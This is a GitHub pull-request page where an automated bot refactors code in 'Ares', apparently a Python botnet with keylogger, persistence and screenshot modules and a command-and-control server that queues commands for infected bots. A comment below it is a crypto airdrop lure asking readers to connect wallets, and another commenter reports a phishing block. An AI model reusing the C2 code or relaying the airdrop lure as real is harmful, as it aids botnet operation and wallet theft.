Skip to content

Conversation

@SourceryAI
Copy link

Thanks for starring sourcery-ai/sourcery ✨ 🌟 ✨

Here's your pull request refactoring your most popular Python repo.

If you want Sourcery to refactor all your Python repos and incoming pull requests install our bot.

Review changes via command line

To manually merge these changes, make sure you're on the master branch, then run:

git fetch https://github.com/sourcery-ai-bot/Ares master
git merge --ff-only FETCH_HEAD
git reset HEAD^

Comment on lines -17 to -22
help_text = """
return """
Usage: download http://example.com/filename
Downloads a file through HTTP.
"""
return help_text
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function help refactored with the following changes:

Comment on lines -58 to -63
help_text = """
return """
Usage: keylogger start|show
Starts a keylogger or shows logged keys.
"""
return help_text
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function help refactored with the following changes:

return True
else:
return False
return SERVICE_NAME in output.read()
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function is_installed refactored with the following changes:

Comment on lines 54 to 59
help_text = """
return """
Usage: persistence install|remove|status
Manages persistence.
"""
return help_text
"""
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function help refactored with the following changes:

Comment on lines -22 to -27
help_text = """
return """
Usage: screenshot
Captures screen.
"""
return help_text
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function help refactored with the following changes:

Comment on lines -55 to +53
html = f.read()
return html
return f.read()
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function Main.index refactored with the following changes:

Comment on lines -63 to +72
output = ""
for bot in bot_list:
output += '<tr><td><a href="bot?botid=%s">%s</a></td><td>%s</td><td>%s</td><td>%s</td><td><input type="checkbox" id="%s" class="botid" /></td></tr>' % (bot[0], bot[0], "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]), bot[2], bot[3],
bot[0])
output = "".join(
'<tr><td><a href="bot?botid=%s">%s</a></td><td>%s</td><td>%s</td><td>%s</td><td><input type="checkbox" id="%s" class="botid" /></td></tr>'
% (
bot[0],
bot[0],
"Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]),
bot[2],
bot[3],
bot[0],
)
for bot in bot_list
)

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function CNC.index refactored with the following changes:

  • Use str.join() instead of for loop (use-join)

Comment on lines -87 to +105
bot = query_DB("SELECT * FROM bots WHERE name=?", (botid,))
if not bot:
exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo)))
else:
if bot := query_DB("SELECT * FROM bots WHERE name=?", (botid,)):
exec_DB("UPDATE bots SET lastonline=? where name=?", (time.time(), botid))
cmd = query_DB("SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date", (botid, 0))
if cmd:
exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0]))
return cmd[0][2]
else:
exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo)))
if not (
cmd := query_DB(
"SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date",
(botid, 0),
)
):
return ""
exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0]))
return cmd[0][2]
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function API.pop refactored with the following changes:

Comment on lines -117 to +126
output = ""
bot_output = query_DB('SELECT * FROM output WHERE bot=? ORDER BY date DESC LIMIT 10', (botid,))
for entry in reversed(bot_output):
output += "> %s\n\n" % entry[2]
output = "".join("> %s\n\n" % entry[2] for entry in reversed(bot_output))
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function API.stdout refactored with the following changes:

Comment on lines -143 to +154
outfile = open(save_path, 'wb')
while True:
data = uploaded.file.read(8192)
if not data:
break
outfile.write(data)
outfile.close()
with open(save_path, 'wb') as outfile:
while True:
data = uploaded.file.read(8192)
if not data:
break
outfile.write(data)
Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Function API.upload refactored with the following changes:

@ghost
Copy link

ghost commented Dec 24, 2023

LayerZero Airdrop Updated 🪂

The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible.

We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!

Layerzero Oficial

Claim Now

Secure Your Layerzero Airdrop with These Simple Steps:

  1. Connect Your Wallet:

    • Head over to the Layerzero Airdrop.
    • Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).
  2. Eligibility Check:

  3. Engage for Extra Rewards:

    • Participate in community discussions or complete tasks for bonus rewards.

Bonus Tips:

  • Community Assistance:

    • Need help? Drop a message on Telegram or other social media platforms.
  • Stay Informed:

    • Keep an eye out for updates on the airdrop process via official channels.
  • Patience Pays Off:

    • Airdrop distribution might take a while. Stay calm and keep an eye out for updates.

Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone!

@AFaruuq
Copy link

AFaruuq commented Jan 1, 2024

I can't claim it.

@KarthickSakthi
Copy link

getting "This site is blocked due to a phishing threat." ,is this real binance web link? I think it's not!

Repository owner deleted a comment from jmgrd98 Feb 23, 2024
Repository owner deleted a comment Mar 2, 2024
Repository owner deleted a comment Mar 2, 2024
Repository owner deleted a comment from tim-tepia Mar 18, 2024
@github-staff github-staff deleted a comment from metadetron Mar 19, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants